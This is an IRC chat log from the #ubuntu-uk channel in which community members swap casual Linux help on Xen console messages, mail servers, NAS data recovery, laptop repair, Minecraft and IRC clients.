<Twinkletoes> popey: It shouldn't be, I pay for a "dedicated" server from 1&1
<MartijnVdS> you have .. a dedicated VM :P
<HazRPG> yeah I was just about to say that haha
<Twinkletoes> Hmm... well... that's one problem I have to sort out then... is there anything I can do to stop it?  Is it going to cause issues elsewhere?
<HazRPG> its easier and quicker to deploy VM's - plus reduces maintenance and costs by doing it that way too
<andylockran> how to grep multiple values - i.e. to pull out a conversation between two users on IRC...
<shauno> Twinkletoes: if you cat /proc/cmdline, does it include console=hvc0  ?
<andylockran> cat irc.log | grep andylockran & popey :)
<screen-x> andylockran: egrep 'foo|bah'
<andylockran> for example
<andylockran> screen-x: ta
<MartijnVdS> Twinkletoes: They could have given you a single vm on a piece of hardware
<popey> UNNECESSARY USE OF CAT!
<MartijnVdS> Twinkletoes: but to make later migration to virtual easier, made it a vm
<MartijnVdS> just to keep their platform sane
<screen-x> MartijnVdS: interesting idea
<Twinkletoes> shauno: No hvc in /etc/cmdline, but it's specified in /etc/securetty and /etc/init/hvc0.conf
<HazRPG> yeah it does sound like that
<ging> popey: is that what the rspca said?
<HazRPG> it also means that if anything goes wrong, they can get you back up and running faster
<Twinkletoes> MartijnVdS: That sounds plausible
<MartijnVdS> it even sounds sane ;)
<Twinkletoes> MartijnVdS: I suppose then, hvc0 is there own way of getting in if I kill the server by accident
<HazRPG> ;p
 * Twinkletoes notes that hvc dies and respawns every 30 seconds!
<HazRPG> Twinkletoes: Think about it this way, xen is just the main O/S they put on the system that barely does anything and (generally speaking) only uses very minute amount of resources, they just then assign all the remaining off to your O/S of choice. They'll have full access to the xen O/S via various methods, where-as you get full access to the O/S that's sat inside of it.
<MartijnVdS> monitoring by $hosting_company
<MartijnVdS> ?
<Twinkletoes> HazRPG: Yup - I understand, I'm happy with that, just not the message :)
<HazRPG> Twinkletoes: what are you noticing exactly?
<HazRPG> hang on... I missed something *scrolls up*
<Twinkletoes> HazRPG: daemon.log filling up every 30 seconds with 2 lines... one saying hvc0 has terminated with status 1, and ther other saying it's respwaning
<Twinkletoes> HazRPG: If it's not going to cause an issue I'll try and remember how to filter them out of the logs
<shauno> hvc shouldn't be a process.  you're seeing getty complaining it can't attach to hvc and complaining it's respawning too fast?
<Twinkletoes> HazRPG: "init: hvc0 main process ended, respawning" and " init: hvc0 main process (<pid>) terminated with status 1"
<HazRPG> trying to remember what hvc0 actually does :/
<screen-x> Twinkletoes: do you have a getty running for hvc0?
<screen-x> Twinkletoes: whats in /proc/cmdline ?
<screen-x> (I think someone asked that already,but I dont remember seeing the reply)
<Twinkletoes> screen-x: hvc0 is specified in /etc/securetty
<Twinkletoes> screen-x: cmdline is:   root=/dev/md1 ro console=tty0 console=ttyS0,57600
<screen-x> Twinkletoes: does hvc0 exist in /dev?
<HazRPG> hmm, ps is to see the currently running process if I'm not mistaken, how bout running "ps aux | grep hvc0"
<Twinkletoes> screen-x: Nowhere in /dev
<Twinkletoes> HazRPG: ps:  /sbin/getty -8 38400 hvc0
<HazRPG> shauno: what is getty btw?
<shauno> I'd probably enquire at 1&1 whether they're using a dom0 for terminal access, just in case you're missing something you need; and then just comment it out of securetty
<screen-x> Twinkletoes: my xen vm has console=hvc0 in /proc/cmdline, but I'm not sure if you should add that in grub, or change hvc0 to tty0 in /etc
<shauno> HazRPG: it attaches a login shell to character devices (serial lines, consoles, etc)
<Twinkletoes> screen-x: now I know it's a Xen issue, I thin I should probably get in touch with 1&1 support.  Thanks for people's help
<screen-x> Twinkletoes: sounds like a plan
<Twinkletoes> ;)
<HazRPG> Twinkletoes: by the sounds of things, it sounds like something isn't doing what it should be, either that or something has been changed somewhere that's playing up in the xen o/s
<HazRPG> Twinkletoes: also, 1&1 should still be open for calls - give them a quick bell ;)
<Twinkletoes> HazRPG: Ok - I'll see whta they say, thank you
<ubuntuuk-planet> [Andy Loughran] Charter for Compassion - http://zrmt.com/article/view/charter-for-compassion-2
<shauno> either that or it isn't sitting on xen, but their boilerplate install supports it
<HazRPG> possibly
 * brobostigon shakes his fist @ gtk3.
<HazRPG> I wonder what 1&1 are like these days, been a long time since I was last with them
<shauno> I still use them for shared hosting, but not dedi
<screen-x> HazRPG: I used to use them for domain registration, but not any more, moved to gandi.net
<Twinkletoes> Haha - the 1&1 dude didn't know - I don't think he even knew what a hypervisor was
<HazRPG> heh, that's typical support dudes for ya
<Twinkletoes> Oh well, he suggested I stick an email in.  I'm impatient, but I Can do that :)
<HazRPG> is he transferring you over to someone who knows?
<Twinkletoes> HazRPG: Nopes!
<screen-x> Twinkletoes: http://xkcd.com/806/
<HazRPG> screen-x: rofl, I was just about to google for that comic strip xD
<Twinkletoes> Funny :)
 * screen-x tries not to memorise the numbers 
<HazRPG> heh I don't memorise them, I usually just google for the title (or something that was in it)
<Twinkletoes> Shibboleet
 * Twinkletoes waits for a new IR Cchannel to open up
<MartijnVdS> Twinkletoes: from http://en.wikipedia.org/wiki/Shibboleth
 * Twinkletoes now feels dumb
<Azelphur> I just spoke to intel regarding my overheating i7, http://pastebin.com/7uZqDhcP :)
<Azelphur> I idle at 40-60C, Encoding a DVD with multithreading on takes me to 75C, Encoding 8 DVDs at the same time takes me to 94C
<Azelphur> Reasonable to assume I applied the stock cooler correctly, and need to get some better cooling in there?
<andylockran> wow
<andylockran> that's awesome
<Azelphur> yea, the reply from intel live chat is good :D
<andylockran> Azelphur: yeah, I'd add some cooling
<screen-x> Azelphur: ouch, just checked TCase for my i7-860, which is 72, I had it up to 90 the other day :(
<Azelphur> haha
<screen-x> This is a stock workstation straight from supplier.
<screen-x> (pre assembled)
<popey> Azelphur: nice chat session there
<popey> or rather copy/paste from her :D
<Azelphur> popey: indeed, I was quite impressed on the good information she had to hand :D
<popey> yeah, expert systems ftw (sometimes)
<Azelphur> I designed the machine with the idea of adding water cooling later and overclocking anyway
<Azelphur> so I'll just have to get on with it :)
<screen-x> Azelphur: submerse it in oil ;-)
<Azelphur> screen-x: haha, normal water cooling with pipes is better
<Azelphur> I did get very tempted by the oil route, it is awesome :D
<popey> TOOBS!
<Azelphur> indeed, toobs \o/
<screen-x> I wonder if there are any wacky species of fish that can survive in oil, that would be cool.
<screen-x> popey: just like the internets
 * popey expects we will see kaushal arrive shortly
<popey> https://lists.ubuntu.com/archives/ubuntu-users/2011-February/240350.html
<screen-x> http://answers.yahoo.com/question/index?qid=20071118193955AAYuVl2
<czajkowski> lol
<czajkowski> right home time
<Azelphur> screen-x: hahaha
<czajkowski> left over chinese food awaits and I'm starving
<czajkowski> toodles
<popey> \o/ home time
<popey> oooo chinese food
<andylockran> screen-x: get some fish from the gulf
<andylockran> some of them can survive in oil
<czajkowski> popey: aye found a decent one in Aldershot, massive sizes. one dinner does 2 days
<popey> haha, which one?
<popey> TELL ME!
 * screen-x goes home
<czajkowski> I've no idea, I know how to get to it; up te road from the Queen vic  beside a pizza place but not dominos
<czajkowski> also is there some law in the UK, there has to be at least one pub in every town called the Queen vic!
<czajkowski> seriously!
<popey> :)
<czajkowski> <---- *poof* Gone
<HazRPG> czajkowski: I don't think we have a queen vic here...
<shauno> phew.  home at last.
<davmor2> czajkowski: everyone want to be peggy mitchell or the boys :D
<shauno> nah, I think it's older than that
<shauno> but then most the towns I've lived in 'exploded' during late industrial / victorian era]
<davmor2> shauno: I might of been joking honest :D
<shauno> I didn't think it was a serious conversation :)
<shauno> but it does feel like pubs all use the same name generator, which munges together a list of royalty / aristocracy / animals & plants, and spews forth
<shauno> you're usually guaranteed at least one monarch & a duke of something
<popey> The Cricketers
<davmor2> popey: where's the Duke of The Cricketers?
<HazRPG> shauno: wow, liam was quick to change his mind ^^
<shauno> this tends to happen when you re-read things a few days later.  I wouldn't worry about it :)
<HazRPG> indeed
<HazRPG> all depends on what mood you were in at the time
<HazRPG> anyone else notice gmail had a UI change recently?
<shauno> actually just trying to 'fix' gmail atm :(
<HazRPG> doesn't appear to be the same for all my accounts though... so I was wonder if others had noticed it too
<HazRPG> shauno: anything I can help with?
<shauno> I tried to unsubscribe from u-uk so I could resub with a different address
<shauno> stupidly, I clicked the 'unsubscribe from this list' link gmail puts in the details, thinking it'd take me to the mailman address in the mail headers
<shauno> it didn't; it sent an unsubscribe to -request  (from the wrong address.  bah)
<HazRPG> heh
<shauno> it's apparently done something else in it's bid to be clever, because I'm now not seeing messages sent to the resub'd address
<shauno> they're not under the label they used to be; the filter that used to send them there is gone.  there's now no matching label; they're not in Spam or Inbox
<HazRPG> I would have just changed the e-mail address in mailman rather then doing all that
<HazRPG> try "all mail"
<shauno> that was mostly the plan, I just discounted how much thought they'd put into their unsub link
<HazRPG> or "ubuntu-uk" in:"All Mail"
<shauno> they don't show up if I search for ubuntu-uk
<shauno> not in spam, not in trash, nadda
<shauno> if I couldn't see them being forwarded in postfix's logs, I'd doubt they were even being sent at all
<HazRPG> sorry wrong format
<HazRPG> ubuntu-uk in:all
<HazRPG> try that
<HazRPG> oh
<shauno> same result, shows last mail to the list being the unsub result at 7am
<shauno> I know there's been more since then, because I see them on my phone
<HazRPG> if they're showing up on your phone, what label are they placed in? Or is your phone only showing you the cached stuff?
<shauno> my phone doesn't use gmail
<HazRPG> oh
<shauno> I receive to my server, and forward to gmail from there
<shauno> so my clients use imap off my server, but I still have gmail as a huge searchable & work-friendly frontend
<HazRPG> hmm
<HazRPG> I'm lost now lol
<HazRPG> shauno: I understand the whole server grabs mail and forwards thing
<HazRPG> so I'm guessing your server still has the old mail in there
<HazRPG> clicking the unsubscribe button has cleared all the mail for your gmail?
<HazRPG> along with filters and labels?
<shauno> the label's still there.  the filter isn't
<shauno> and hasn't been replaced with a new one, that I can see
<HazRPG> oh so you did the "filter messages from this mailing list" thing
<shauno> oh, there never was a filter. looks like I just matched list.ubuntu.com, which still stands
<HazRPG> :P
<shauno> just tried to subscribe my gmail address to see if I could 'unstuck' it, but the confirmation disappears too
<HazRPG> mine has this... Has the words: list:"ubuntu-uk.lists.ubuntu.com"
<HazRPG> random
<shauno> and this is why I like to treat webmail as a convenience instead of a solution :)
<HazRPG> :P
<dwatkins> shauno: you mean your mail got deleted?
<shauno> existing mail didn't; anything I received since I sent the unsub request appears to
<shauno> not sure delete's even the right word.  there's a black hole somewhere
<shauno> I have a filter in gmail that copies anything sent specifically to my gmail address, to an external address
<shauno> when I tried to subscribe my gmail address to unstick it, that showed up at the external address (so gmail saw & forwarded it), but I can't find it in the web UI
<jacobw> hows it going with the mail server shauno
<dwatkins> ah I see, shauno - there should be archives of the list, at least
<shauno> (yes, my email is a mess of filters.  trying to copy things to/from gmail without creating loops :)
<shauno> jacobw: I think I'm about done replacing my old host.  just waiting for some scheduled downtime this weekend before I transfers domains
<jacobw> :)
<jacobw> can you point towards some resources on how to set up a mail server? i'm considering setting one up for a small business
<shauno> 1&1 are being buttheads about having a non-US address on the account.  so I'm deserting.  moving my mail is turning out to be the messy side
<shauno> as dull as it sounds, I've mostly been going by the ubuntu server guide, and ubuntu wiki
<shauno> I had most of this up and running about 10 years ago, which helps, but stuff like SPF and domainkeys is new to me
<shauno> the server guide pretty much holds your hand thru getting postfix/dovecot/sasl to play nicely.  opendkim is nicely covered on the wiki, and openspf.org document sender policies nicely
<jacobw> that sounds good :) i want to learn all these things to futher my skills in .. cool stuff
<shauno> my main headache has been procmail, which is entirely optional.  but most the docs for it are rather dated
<shauno> I think as convoluted as email is, it's all well documented.  put the real effort into understanding dns, because email falls apart at the seems without it
<jacobw> i've heard that DNS causes strange issues in most services
<Myrtti> to kebab or not to kebab, that is the question. Whether tis nobler in the tummy to suffer the slings and arrows of outrageous hunger, or to take arms against subzero temperatures, and by opposing them end them?
<jacobw> ergh
<jacobw> eat some fruit/vegetables instead
<Myrtti> good idea, but I've not been at my apartment for over a week now, I've got light and mustard in my fridge and shops are closed
<Myrtti> Finnish kebabs actually have a lot of salad in them
<MartijnVdS> Myrtti: because animals won't go into Finland?
<Myrtti> we've got plenty of elks and reindeers
<KrimZon> animals go into Finland 52 times with a remainder of llama.
<MartijnVdS> KrimZon: you sound like the people on
<MartijnVdS> http://www.reddit.com/r/vxjunkies
<shauno> sort-of sensible question.  why are the dutch so well represented online?
<ali1234> don't all the UK<->EU links go through NL?
<MartijnVdS> ali1234: lots of them do]
<MartijnVdS> ali1234: AMS-IX \o/
<MartijnVdS> shauno: also, we just rock :)
<shauno> it seems more cultural.  I wouldn't think that affects ordinary subscribers
<shauno> but, eg; you've got what, roughly 50% more population than belgium.  I've never met a .be online
<MartijnVdS> shauno: NL has always been relatively "rich" as a country, also our first consumer ISP started in '93
<MartijnVdS> shauno: knightwise is Belgian, he hangs around in here sometimes
<MartijnVdS> shauno: and FOSDEM is in Belgium
<MartijnVdS> lots of Belgians there
<shauno> heh, I imagine
<shauno> genuinely curious why it seems so imbalanced tho
<shauno> I wonder if the belgians lean towards more franco-centric communities
<MartijnVdS> shauno: the "we started in '93" bit might have something to do with it, really
<shauno> I'm not sure it's wealth alone.  I know more russians online than belgians
<MartijnVdS> Also, English<->Dutch connections have always been strong (we make fun of the Germans, but the eastern part of the Netherlands is actually quite good friends with them ;))
<shauno> (not sure why I'm picking on belgium, just the only comparable populace that springs to mind)
<ali1234> i remember belnet.be from early days online...
<shauno> I could probably use ireland just as easily.  you guys just seem to bat above your weight :)
<MartijnVdS> ali1234: xs4all.nl = my employer ;)
<ali1234> i would say belgium is quite well represented online
<ali1234> yeah, i remember them too
<Adriannom> i have 3 hds in a raidx nas that will no longer boot.  any ideas how i could recover the data?
<Adriannom> would a usb caddy work?
<shauno> alternatively, I wonder if it's just a dutch obsession with letting people know they're dutch ;)
<MartijnVdS> shauno: how do you know if someone is a vegetarian?
<MartijnVdS> shauno: (don't worry, they'll tell you)
<shauno> funny, I hear exactly the same joke about pilots :)
<ali1234> Adriannom: it's a start. you'll have to look at the disks to see how they are formatted
<ali1234> usb caddy will definitely "work" but you might need custom software to recover the data
<shauno> my only (generalized) hint would be to make liberal use of the 'ro' mount flag.
<daubers> Adriannom: What kind of raid was it?
<Adriannom> um... x-raid, apparently
<Adriannom> trying to find out right now
<popey> whats that?
<popey> ah netgear readynas?
<Adriannom> yup
<Adriannom> nv+
<daubers> Adriannom: You might struggle, as you may not be able to piece the RAID together again to get at the data
<popey> http://www.readynas.com/forum/faq.php#Will_NETGEAR_provide_data_recovery_service_if_needed%3F
<popey> :)
<Adriannom> popey, i'm hoping that it won't cost, after all i believe none of the data is damaged
<popey> what is the issue then?
<Adriannom> the unit won't boot and i don't have another
<popey> borrow one/
<popey> ?
<ali1234> i'll recover your data for half what netgear charge
<Adriannom> hmm... good suggestion but i don't think i can
<Adriannom> thanks ali1234 ;)
<popey> looks like the readynas will format it ext3
<Adriannom> looks like software raid, which should make it easier right?
<ali1234> doesn't make much difference
<daubers> Adriannom: Try it and see. If it's just ext3 with something pushing files over disks you might be lucky
<ali1234> just look at the raw disks and figure out if/how it is striped, and then rebuild it
<Adriannom> ok
<Adriannom> thanks a lot guys :)
<HazRPG> is there an advantage to making a DNS server for my house?
<ali1234> looks like you have to configure what type of raid you want?
<Adriannom> ali1234, i believe it's x-raid by default
<Adriannom> whatever that is
<daubers> A lot of these things I've looked at seem to be a thing at the sharing level just placing given files on given devices with some parity on another disk
<popey> thats just their proprietary name for whatever it is
<mgdm> HazRPG: I had one so I could have internal DNS names for some machines, and a local caching DNS server for when the upstream was being flaky
<Adriannom> http://www.readynas.com/?cat=54
<ali1234> "Volume management is automatic. Add a 2nd disk, it becomes a mirror to  the first, providing protection from a disk failure; add a 3rd, the  capacity doubles"
<ali1234> so you can infer from that what it is doing, i guess
<popey> "Â» What file system does ReadyNAS use? Can I read a disk from ReadyNAS on other machines?
<popey> The ReadyNAS uses Linux Ext2/Ext3 file system. A typical Linux distro can mount and access the data from the disks."
<Adriannom> cool
<Adriannom> now i know where i am with it i'm sure i'll be fine
 * daubers wants to build a block level RAID driver as a learning platfor
<daubers> m
<HazRPG> mgdm: cool
<mgdm> HazRPG: http://mgdm.net/weblog/the-linksys-nslu2-part-one describes my setup
<mgdm> HazRPG: the dnsmasq bits are what you're interested in
<Adriannom> damn the thing for breaking in the first place though ;o
<HazRPG> mgdm: thanks :)
<shauno> daubers: if you need targets, you'd be deified for a free drobo-esque implementation ;)
<popey> heh
<ikonia> my rage is strong....who will dare top push me
<MartijnVdS> ikonia: what's up?
<ikonia> "to"
<ikonia> it's actually nothing of any significance,
<ikonia> I've just took my macbook pro to bits to swap the hard disk, to discover the last two screws are torx T6 (??) and the smallest I have is torx T10
<ikonia> and home base that is 1 mile away is closed !
<MartijnVdS> ah, that's annoying
<popey> use a small flat head
<ikonia> popey: don't have one that fits good enough
<ikonia> popey: tried about 10
<ikonia> I feel the gods are mocking me
<popey> maplin?
<popey> they have a kit for taking apart video consoles
<shauno> at 9pm?
<popey> it has the right ones
<popey> ah
<MartijnVdS> have you tried an American screwdriver?
<ikonia> as a kick in the teeth homebase where I could get the missing item now is open until 9:00pm tomorrow, but shut's at 8:00 tonight
<shauno> that T6 is the only torx I own.  I had similar rawr when I discovered it too
<ikonia> I can get one tomorrow, but it means I've left a job half done, have to lock the cat out of the room and can't go through my music recording stuff tonight
<ikonia> just annoying
<ikonia> shauno: I had one from when I had my macbook, but I can't find it
<shauno> you can 'undo' it pretty easily.  the machine will work fine as long as the keyboard cable is hooked up, and that part of the case is grounded to the rest  (assuming it's not unibody)
<shauno> eg, you don't need to put it back together to run it.  just wire her up
<ikonia> shauno: got all the screws laid out for going back in, not going to mess with it
<shauno> (it will run without the keyboard connected, but the fans will run 100%, which gets annoying)
<ali1234> I have T-5H thru T-40H right here :)
<shauno> that's what I mean.  mine's in a similar position.  the screws are lined up on a bit of sticky tape, and have been for a few weeks now
<ikonia> will someone who has a T6 please drive an unreasonable ammount of files to give it to me
<ikonia> files ??? miles
<shauno> (mine has a dodgy lvds cable.  I pull the case off to abuse it whenever I need stress relief)
<ikonia> I'm just swapping the hard disk out
<ikonia> I've been looking forward to using it all day
<popey> you can borrow one of mine :)
<ikonia> great, please drive approx 80 miles and give it to me
<ikonia> popey: what time shall I expect you ?
<MartijnVdS> ikonia: have you tried asking your neighbors?
<popey> :)
<ikonia> MartijnVdS: stupid diy bums have nothing but standard stuff
<daubers> shauno: Unfortnatley, if I did that it would be owned by work :(
<shauno> luckily you work with freedom-loving hippies who'd see the community value?
<shauno> is a shame.  someone needs to come close to drobo, and it'd be handy if it was someone who wanted to :)
<daubers> Hmm.... in this instance probably not
<daubers> shauno: I'm almost certain that the performance of a drobo-esque system would be pants anyway
<ikonia> screws out, my rage is reduced
<daubers> Bah, designing processes around peoples workflow is annying
<shauno> designing anything around humans is a pain.  no-one ever spec'd them properly
<shauno> I've worked 5 christmases in a row.  and every one a waste because things didn't break when people are too busy to break them
<ikonia> NOoooooooooooooo apple, why do you mock me
<popey> heh
<popey> wassup now?
<ikonia> the manual says unhook the two philips screws holding the drive in place, they are torx screws, but even smaller than a T6
<popey> which mbp is this!?
<ikonia> 17'' 2009
<popey> evil
<ikonia> if you had told the truth I would be prepared
<ikonia> why are you mocking me apple, why do you lie in your manual
<popey> I think he's flipped
<ikonia> my mbp is in bits and I am two screws away from done
<ikonia> I've probably wrecked it in the process.....this is gutting
<ikonia> why do you lie apple !!!
<popey> fwiw the 2010 MBP manual was 100% accurate
<popey> HTH HAND
 * jacobw wraps a blanket round ikonia
<jacobw> there there..
<jacobw> msi wind u135dx, what OS?
<ikonia> thanks for that
 * ikonia fumes
<daubers> Sometimes it's useful working in an office where you have every kind of screwdriver known to man at hand
<ikonia> agreed
<daubers> We even have a magic tool that lets you take molex adapters of various forms apart
<daubers> Massivley helpful in getting rid of stupid floppy power adapters on some supplies to tidy cables
<mgdm> nifty
<ikonia> is this wasn't an ubuntu channel, my language would be through the roof at this time
<popey> :)
<mgdm> I've occasionally want a tool that could extract molex power connectors from drives of various forms - helpfully they've just obsoleted the flaming thing
<daubers> mgdm: Sadly not :(
<daubers> mgdm: Also, that tool is called "Needle nose pliers"
<daubers> Or in my case "Mike" as he's a lot more patient than me
<mgdm> hehehe
 * bigcalm pokes nickserv
<hamitron> \o/
<hamitron> I just got all excited about a cheap AMD Phenom II X4... to find they've started re-badging Athlon II under that name :/
<popey> hi hamitron
<popey> did you remove the lava from your mountain thing?
<popey> all the fire was gone from inside too :(
<hamitron> inside?
<popey> yeah, there was flames inside wasnt there?
<popey> oh, the new server version
<popey> flames go ut
<popey> *out
<hamitron> I feel like sulking about my volcano btw
<popey> :(
<hamitron> someone stole 2 buckets of lava
<hamitron> ;/
<popey> from the top?
<hamitron> no
<hamitron> I removed that
<popey> ah
<hamitron> from my chest
<popey> didnt know there was a chest there
<hamitron> in my home
<hamitron> :)
<hamitron> but I need 4 buckets of lava, for 4 volcano
<hamitron> ;)
<popey> heh
<hamitron> was 1 short, now 3
<popey> :(
<hamitron> guess I will have to get new armor and go on a rampage
<hamitron> journey to the centre of the earth
<ikonia> phew, hard disk migration complete
<ikonia> sloppy job
<hamitron> :)
<popey> heh
<hamitron> I think I may continue the building now
<hamitron> popey: I hope the lava went to some good use
<hamitron> like, forging loads of iron
<popey> heh, i have no idea!
<hamitron> omfg
<hamitron> there is a hole in my volcano
<hamitron> !!!!!!!!
<popey> lol
<hamitron> so what happened to the fires inside pops?
<hamitron> !ping popey
<popey> hmm?
<hamitron> I had loads of fires around the volcano inside
<popey> yes
<popey> i think they went out with the server upgrade today
<popey> apparently wood doesnt burn for ever now
<hamitron> will they return?
<popey> no
<hamitron> ah ffs
<popey> its a new server thing
<hamitron> so now my fireplace in the pool is useless
<hamitron> ;)
<popey> awww :( you need a lava fireplace
<popey> oh, forgot about your underground lair
<hamitron> shame someone stole my buckets of lava...
<hamitron> ;)
<popey> :(
 * hamitron shakes fist
<hamitron> hehe
<popey> hehe
<hamitron> or....
<hamitron> could have a pile of logs to light the fire when needed
<hamitron> at least burning trees won't be an issue now
<popey> or "trees" as they're known
<popey> yeah
<popey> maybe that big area on fire will go out
<dutchie> it has already, partly
<dutchie> mostly now, probably
<hamitron> the volcano kept lighting the trees once they grew big enough
<popey> :D
<hamitron> I actually spent an hour removing the burning trees, so it looked better
<hamitron> and now there is a patch :/
<dutchie> you'd still have had to remove them, they just go out and stay put now
<hamitron> oh, my burning fires have no wood...
 * popey invites hamitron to #ubuntu-uk-minecraft :)
<hamitron> such a long name to type
<hamitron> is that room to remove the people like me from here? ;)
#ubuntu-uk 2011-02-23
<andylockran> popey
<andylockran> I'm having trouble
<andylockran> do I need to do any configuration
<andylockran> when I /etc/init.d/gdm start, it goes to a black screen - and takes out the keyboard and mouse with it (though ssh connection still open to kill X) and get back to terminal
<andylockran> also, only have 1 tty
<andylockran> I'm in rescue mode, so that could be it
<popey> dont be in rescue mode
<popey> andylockran: did you install the package I said?
<popey> also remove your xorg.conf
<popey> bed
<dutchie> \o/ bed
<czajkowski> aloha
<MooDoo> hello all
<AlanBell> hi MooDoo
<TheOpenSourcerer> Morning earthlings.
<MooDoo> :)
<HazRPG> greetings!
<HazRPG> wow, this is awesome: http://www.internettrafficreport.com/details.htm
<Baikonur> is it?
<HazRPG> wow that's a lot of disconnects in one go!
<MooDoo> yes it's just a split and happens, nothing to really worry about
<MooDoo> HazRPG, http://en.wikipedia.org/wiki/Netsplit
<HazRPG> a server s... k thanks :)
<daubers> heh
<popey> wheeee
<DJones> freenode is having a bit of a rollercoaster start to the day
<MooDoo> yeah fun
<HazRPG> indeed
<TheOpenSourcerer> Not as much as Gaddaffi is.
<DJones> Looks like he's on just the downward slope though, its even worse for the people in the country
<TheOpenSourcerer> yeah.
<jpds> http://blog.fedecarg.com/2011/02/22/command-line-package-management-with-apt-2/
<jpds> That is all.
<popey> pffft
<popey> thats been doing the twitter rounds for weeks
<bobcoder_> Whats the bgest client for IRC Unbuntu 10.10
<bobcoder_> please
<MooDoo> !best
<lubotu3> Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
<bobcoder_> oki sorry was just starting out
<MooDoo> i use x-chat or irssi personally :)
<MooDoo> irssi being a command line client
<bobcoder_> thanx MooDoo
<diplo> Xchat is probably best known
<HazRPG> hmm, for some reason my bluetooth device won't hold a connection for longer than 5 minutes
<diplo> And widely used I'd guess
<bobcoder_> thanx diplo
<DJones> bobcoder_: Same recommendation here, xchat if you want a gui, irssi if you're happy with command line
<dogmatic69> chatzilla
<HazRPG> could possibly be my stereo headset that could be the problem
<JamesTait> HELO canonical.com
<BigRedS> EHLO!
<BigRedS> :)
<danfish> morning mortals!
 * danfish was stuck on hold to a well known bank this morning and now has "the girl from ipanema" musak on a loop in his brain
 * danfish applies a soft reset
 * BigRedS complains at improperly packaged things
<HazRPG> I've noticed no one ever recommends pidgin
<HazRPG> I never have a problem with it
<bobcoder_> i know i've tried it :-(
<BigRedS> I don't think people tend to recommend against it...
<DJones> HazRPG: I use that for chat/msn etc but not for IRC
<BigRedS> It's just that empathy's built in and does a fair sized proportion of what pidgin does
<BigRedS> ahhh, as an irc client! I've never tried it
<diplo> I've had loads of issues with empathy losing conversations
<HazRPG> I wouldn't recommend empathy for irc tbh
<HazRPG> some functionality is missing
<HazRPG> personally I feel empathy is still a way of being properly usable
<DJones> I tried empathy for chat, but I ended up reverting to pidgin because of a won't fix bug/feature
<HazRPG> DJones: what's that?
<BigRedS> I keep going between them. Pidgin does set-to-away-when-idle and empathy is aware of the notion of priority in XMPP
<DJones> HazRPG: With new conversations, does it bring up a window yet, when it was introduced, new conversations would show in the norification area, but if you missed it, you wouldn't know that it'd started unless you were looking at the main empathy window
<BigRedS> DJones: Nope
<BigRedS> That, too, is daft and annoying. It seems to do the old gnome thing of setting a stupid default and not letting you unset it
<bobcoder_> didn't realise i'd started such a debate :-)
<popey> :)
<DJones> BigRedS: Thats why I still use Pidgin, I'd rather have a new window open so I can see at a glance
<bobcoder_> xchat is cool! nice and simple. Thanx everyone
<HazRPG> DJones: not sure, I stopped using empathy for the same reason
<BigRedS> DJones: yeah, I'm getting used to it. The XMPP priority thing is almost invaluable, though
<mrevell> Hi
<BigRedS> especially in the absence of away-when-idle
<BigRedS> DJones: you can still see at a glance, you just need to glance in a different, vastly smaller, place. One that you don't tend to look at generally... :)
<HazRPG> I've always thought the notifications in gnome just doesn't seem right to be honest...
<DJones> BigRedS: I've got no problems with it being a won't fix, I understand the reasons for it, if it suits the developer thats fine, its their choice
<HazRPG> number of times I've seen something tell me /something isn't right, you need to type in this command/ and it disappears before I get chance to type it
<HazRPG> mainly dropbox
<HazRPG> MooDoo: \o
<MooDoo> HazRPG: just chaging irc client.
<bobcoder> me too
<HazRPG> MooDoo: ah
<MooDoo> HazRPG: moved back to my command line irc client, so i don't need to use my windows box any more
<HazRPG> heh
<screen-x> morning :)
<HazRPG> morning
<bobcoder> morning
<shauno> howdy
<bobcoder> any xplane types here?
<DJones> bobcoder: What is xplane, the name rings a bell, but can't place what it is
<bobcoder> I'm trying to dev a plugin for it. Its a flight sim
<DJones> bobcoder: Can't say its something I've played, but just googled and found an unofficial irc channel on freenode #xplane-chat and possibly #xplane
<DJones> Maybe the channels are dead, but there might be somebody in there
<bobcoder> thanx Djones. i'll go look.
<DJones> bobcoder: Also found this with an irc.x-plane.org with a channel #x-plane http://forums.x-plane.org/index.php?showtopic=12273
<davmor2> morning all
<dwatkins> hiya folks
<DJones> Hi davmor2 dwatkins
<bobcoder> sweet no one there but we'll see :-)
<DJones> bobcoder: Sounds like that one on irc.x-plane.org might be a busier channel
 * davmor2 slap czajkowski a high five and wonders if she is thinking more about her holiday than work
<bobcoder> Yeah it is, thanx again Djones
<DJones> bobcoder: You're welcome
<screen-x> got FUP throttled (to 256k till end of month) by ISP last night, phoned up to request MAC, throttle removed :)
<DJones> What did you do to get throttled
<screen-x> DJones: probably too much iplayer HD
<DJones> heh
<mungojerry> screen-x which isp?
<screen-x> eclipse
<bigcalm> Morning
<mungojerry> only 5 days left
<mungojerry> :P
<MooDoo> mungojerry: till?
<screen-x> still, that was going to be a right pain.
<mungojerry> moodoo, screen-x got throttled till end of month.
<MooDoo> ah
<screen-x> My ADSL line only does ~1.5mb, I thought that would make it quite hard to go over usage ;-)
<mungojerry> screen-x have you checked to see if you have any "friends" leeching your wifi?
<JamesTait> Or any friends willing to share theirs.
<screen-x> haha
<screen-x> thats more likely, most of them are on the same channel in default config
<bobcoder> You can share mine :-0
<czajkowski> davmor2: I will kill you
 * MooDoo is disgusted that there isn't any open wifi's around his house....pah! ;)
<MooDoo> czajkowski: that's a but strong
<MooDoo> s/but/bit
<davmor2> czajkowski: Why I slapped you a high 5 nice and wondered if you were think about you're holiday
<bobcoder> strreplace('but','bit'); hehe
 * DJones wonders if death threats are against the !coc or whether in this case in might be justified :)
<czajkowski> DJones: hush you
<czajkowski> it doesnt count when it's me and davmor2 and possibly MooDoo
 * DJones hushes
<MooDoo> czajkowski: oi zip it ;)
<mungojerry> czajkowski, how's your knowledge of other IT consulting companies? my employer is in bed with a particular consulting company and i am fearing the worst for our current open source infrastructure
<czajkowski> davmor2: because of flipping trains
 * TheOpenSourcerer wonders how the OSSG event was last night?
<davmor2> DJones: it's like white noise when it's us
<czajkowski> mungojerry: ye should come talk to us so
<czajkowski> :)
 * mungojerry wishes they used sirius consulting instead :(
<AlanBell> TheOpenSourcerer: quite good actually
<czajkowski> AlanBell: do a write up please
<AlanBell> czajkowski: yeah, working on one
<czajkowski> :D
<AlanBell> there will be an audio recording of it I think
<czajkowski> Aloha bw to all the nicer folks in Ubuntu-uk
<davmor2> czajkowski: can't blame me for the trains the ones I use are always on schedule :P
 * AlanBell wonders if he is in that set
<DJones> Morning czajkowski
